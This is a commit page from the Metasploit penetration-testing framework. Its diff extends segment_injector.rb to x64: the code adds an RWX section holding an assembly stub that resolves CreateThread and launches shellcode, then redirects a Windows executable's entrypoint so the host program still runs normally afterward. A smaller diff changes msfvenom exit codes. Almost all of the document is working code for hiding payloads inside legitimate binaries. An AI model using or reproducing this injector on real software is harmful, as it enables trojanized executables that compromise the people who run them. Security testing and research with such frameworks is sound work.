Skip to content

Commit ad0140e

Browse files
committed
Land rapid7#5864, @jlee-r7's fixes x64 injection
2 parents a1a7471 + 409f2bd commit ad0140e

File tree

2 files changed

+98
-27
lines changed

2 files changed

+98
-27
lines changed

lib/msf/core/exe/segment_injector.rb

Lines changed: 96 additions & 25 deletions
Original file line numberDiff line numberDiff line change
@@ -15,8 +15,20 @@ def initialize(opts = {})
1515
@payload = opts[:payload]
1616
@template = opts[:template]
1717
@arch = opts[:arch] || :x86
18-
@buffer_register = opts[:buffer_register] || 'edx'
19-
unless %w{eax ecx edx ebx edi esi}.include?(@buffer_register.downcase)
18+
@buffer_register = opts[:buffer_register]
19+
20+
x86_regs = %w{eax ecx edx ebx edi esi}
21+
x64_regs = %w{rax rcx rdx rbx rdi rsi} + (8..15).map{|n| "r#{n}" }
22+
23+
@buffer_register ||= if @arch == :x86
24+
"edx"
25+
else
26+
"rdx"
27+
end
28+
29+
if @arch == :x86 && !x86_regs.include?(@buffer_register.downcase)
30+
raise ArgumentError, ":buffer_register is not a real register"
31+
elsif @arch == :x64 && !x64_regs.include?(@buffer_register.downcase)
2032
raise ArgumentError, ":buffer_register is not a real register"
2133
end
2234
end
@@ -27,10 +39,58 @@ def processor
2739
return Metasm::Ia32.new
2840
when :x64
2941
return Metasm::X86_64.new
42+
else
43+
raise "Incompatible architecture"
3044
end
3145
end
3246

3347
def create_thread_stub
48+
case @arch
49+
when :x86
50+
create_thread_stub_x86
51+
when :x64
52+
create_thread_stub_x64
53+
else
54+
raise "Incompatible architecture"
55+
end
56+
end
57+
58+
def create_thread_stub_x64
59+
<<-EOS
60+
mov rcx, hook_libname
61+
sub rsp, 30h
62+
mov rax, iat_LoadLibraryA
63+
call [rax]
64+
add rsp, 30h
65+
66+
mov rdx, hook_funcname
67+
mov rcx, rax
68+
sub rsp, 30h
69+
mov rax, iat_GetProcAddress
70+
call [rax]
71+
add rsp, 30h
72+
73+
push 0
74+
push 0
75+
mov r9, 0
76+
mov r8, thread_hook
77+
mov rdx, 0
78+
mov rcx, 0
79+
call rax
80+
add rsp,10h ; clean up the push 0 above
81+
82+
jmp entrypoint
83+
84+
hook_libname db 'kernel32', 0
85+
hook_funcname db 'CreateThread', 0
86+
87+
thread_hook:
88+
mov #{buffer_register}, shellcode
89+
shellcode:
90+
EOS
91+
end
92+
93+
def create_thread_stub_x86
3494
<<-EOS
3595
pushad
3696
push hook_libname
@@ -54,15 +114,17 @@ def create_thread_stub
54114
hook_funcname db 'CreateThread', 0
55115
56116
thread_hook:
57-
lea #{buffer_register}, [thread_hook]
58-
add #{buffer_register}, 9
117+
lea #{buffer_register}, [shellcode]
118+
shellcode:
59119
EOS
60120
end
61121

62122
def payload_stub(prefix)
63123
asm = "hook_entrypoint:\n#{prefix}\n"
64124
asm << create_thread_stub
125+
65126
shellcode = Metasm::Shellcode.assemble(processor, asm)
127+
66128
shellcode.encoded + @payload
67129
end
68130

@@ -73,10 +135,9 @@ def is_warbird?(pe)
73135
# .text:004136BC sar ecx, 1
74136
# .text:004136BE mov eax, [eax+0Ch]
75137
# .text:004136C1 add eax, 0Ch
76-
pattern = /\x64\xA1\x30\x00\x00\x00\x2B\xCA\xD1\xF9\x8B\x40\x0C\x83\xC0\x0C/
77-
sections = {}
78-
pe.sections.each {|s| sections[s.name.to_s] = s}
79-
if sections['.text'].encoded.pattern_scan(pattern).blank?
138+
pattern = "\x64\xA1\x30\x00\x00\x00\x2B\xCA\xD1\xF9\x8B\x40\x0C\x83\xC0\x0C"
139+
section = pe.sections.find { |s| s.name.to_s == '.text' }
140+
if section && section.encoded.pattern_scan(pattern).blank?
80141
return false
81142
end
82143

@@ -99,6 +160,32 @@ def generate_pe
99160
# Don't rebase if we can help it since Metasm doesn't do relocations well
100161
pe.optheader.dll_characts.delete("DYNAMIC_BASE")
101162

163+
prefix = dll_prefix(pe)
164+
165+
# Generate a new code section set to RWX with our payload in it
166+
s = Metasm::PE::Section.new
167+
s.name = '.text'
168+
s.encoded = payload_stub(prefix)
169+
s.characteristics = %w[MEM_READ MEM_WRITE MEM_EXECUTE]
170+
171+
# Tell our section where the original entrypoint was
172+
if pe.optheader.entrypoint != 0
173+
s.encoded.fixup!('entrypoint' => pe.optheader.image_base + pe.optheader.entrypoint)
174+
end
175+
pe.sections << s
176+
pe.invalidate_header
177+
178+
# Change the entrypoint to our new section
179+
pe.optheader.entrypoint = 'hook_entrypoint'
180+
pe.cpu = pe_orig.cpu
181+
182+
pe.encode_string
183+
end
184+
185+
# @param pe [Metasm::PE]
186+
# @return [String] assembly code to place at the entrypoint. Will be empty
187+
# for non-DLL executables.
188+
def dll_prefix(pe)
102189
prefix = ''
103190
if pe.header.characteristics.include? "DLL"
104191
# if there is no entry point, just return after we bail or spawn shellcode
@@ -117,24 +204,8 @@ def generate_pe
117204
jnz entrypoint"
118205
end
119206
end
120-
# Generate a new code section set to RWX with our payload in it
121-
s = Metasm::PE::Section.new
122-
s.name = '.text'
123-
s.encoded = payload_stub prefix
124-
s.characteristics = %w[MEM_READ MEM_WRITE MEM_EXECUTE]
125207

126-
# Tell our section where the original entrypoint was
127-
if pe.optheader.entrypoint != 0
128-
s.encoded.fixup!('entrypoint' => pe.optheader.image_base + pe.optheader.entrypoint)
129-
end
130-
pe.sections << s
131-
pe.invalidate_header
132-
133-
# Change the entrypoint to our new section
134-
pe.optheader.entrypoint = 'hook_entrypoint'
135-
pe.cpu = pe_orig.cpu
136-
137-
pe.encode_string
208+
prefix
138209
end
139210

140211
end

msfvenom

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -284,7 +284,7 @@ if __FILE__ == $0
284284
generator_opts = parse_args(ARGV)
285285
rescue MsfVenomError, Msf::OptionValidateError => e
286286
$stderr.puts "Error: #{e.message}"
287-
exit(-1)
287+
exit(1)
288288
end
289289

290290
if generator_opts[:list]
@@ -348,7 +348,7 @@ if __FILE__ == $0
348348
end
349349

350350
# No payload generated, no point to go on
351-
exit(-1) unless payload
351+
exit(2) unless payload
352352

353353
if generator_opts[:out]
354354
begin

0 commit comments

Comments
 (0)